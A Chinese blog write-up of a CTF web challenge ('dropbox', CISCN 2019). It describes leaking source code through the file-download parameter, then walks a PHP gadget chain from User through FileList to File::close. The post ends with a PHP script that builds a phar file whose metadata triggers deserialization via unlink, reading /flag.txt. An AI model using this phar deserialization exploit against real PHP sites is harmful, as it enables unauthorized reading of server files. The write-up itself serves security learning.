title: ciscn2019华北赛区Day1 Web1dropbox.md
date: 2022-06-26 20:56:10
tags:
进去之后呢看到一个登录框
然后注册一个账号进去看到有上传文件的东西
然后试试上传一个shell
然后显示这个
然后应该不能直接上穿shell
这里我们随便上传一个图片试试
这里下载的时候就是个简单的下载 url栏中没有get方式 猜想是不是POST方式 抓包试一下把
嘿嘿 发现我们的猜想是正确的
然后这里我们把刚刚这个文件名改为别的 index.php?试一下
应该是路径不对
经过测试发现
把代码粘下来
这里的test1.php是我自己做测试用的
代码有点多这里就不都贴出来了
先把class.php的代码贴出来吧
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 26 Jun 2022 13:39:45 GMT
Content-Type: application/octet-stream
Connection: close
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Disposition: attachment; filename=class.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Powered-By: PHP/5.6.40
Content-Length: 4224
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
#使db为 new File 发现没有办法返回数据 这里要想想别的办法了
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
#使filename为flag.txt
return file_get_contents($this->filename);
}
}
然后找到利用点
在class.php中有个file 类
这里把代码贴出来
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
#使filename为flag.txt
return file_get_contents($this->filename);
}
}
看到里面有个file_get_contents()我们可以使他为flag.php
这样有类的 这种一般都是反序列化的题
我们往上推一推看看
他这个是在close()方法中 看看哪个东西也调用了close()方法
这里也看到了user 类里面有个close方法
唉 然后我们发现虽然我们这样可以读取flag文件但是没有办法将它显示出来
这咋办捏
应该这个题也没有那么简单
这里还有个FileList 类 他这个里面有个__call()魔术方法 我们也把他的代码贴出来 方便大家看
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
看到这__call方法
这里我稍微的讲一下__call方法
当调用一个不存在的方法的时候就会触发__call方法,这里面第一个参数$func是调用那个不存在的方法名
第二个参数是一个数组 ( array ) ,是传递给不存在方法的所有参数组成的数组
这里只需要懂第一个参数是啥就行了
然后我们可以看一下index.php中的代码
里面有这样的一行代码
$a = new FileList($_SESSION['sandbox']);
这里它实例化了一个FileList类
然后我们再看一下啊FileList类中的__destruct魔术方法
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
这里面我们发现他会把
results数组的结果放到网页上
这里就会有回显了
先梳理一下思路
当我们上传了一个User对象的一个序列化数据后会执行 Uer::__destruct方法
然后我们把
这个$db赋值为 new FileList
这个时候因为new FileList中没有close方法然后就会调用FileList中的__call方法 这个时候我们把$file赋值为new File就可以调用close方法了
这里构造exp
<?php
class User {
public $db;
public function __construct()
{
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct()
{
$this->files=array(new File());
}
}
class File {
public $filename='/flag.txt';
}
$user=new User();
ok我们构造好了
但是呢
唉 我们发现 没有unserlize函数呀
反序列化漏洞怎么可能没有unserlize呀 这个时候就i想到了phar伪协议
这里简单的说一下
当没有unserlize函数的时间就可以利用它来进行反序列化
这个phar也可以说是一个压缩包
它里面有个meta-data的数据是序列化形式存储的的
然后当这个phar文件经过某些文件操作函数中的一个和phar伪协议就会把meta-data里的东西反序列化出来
我们刚刚也说了就是需要经过
这些中的一个就可以了
然后我们发现有个unlink函数
public function detele() {
unlink($this->filename);
}
然后这里面也有unlink函数
这个是当我们删除文件的时候就会调用这个函数
所以我们可以生成exp了
<?php
class User {
public $db;
public function __construct()
{
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct()
{
$this->files=array(new File());
}
}
class File {
public $filename='/flag.txt';
}
$user=new User();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
我们再删除的页面就可以触发unlink 然后我们的生成的phar.png文件
就会输出flag
标签:function,md,return,filename,file,table,ciscn2019,Day1,public From: https://www.cnblogs.com/kkkkl/p/16748392.html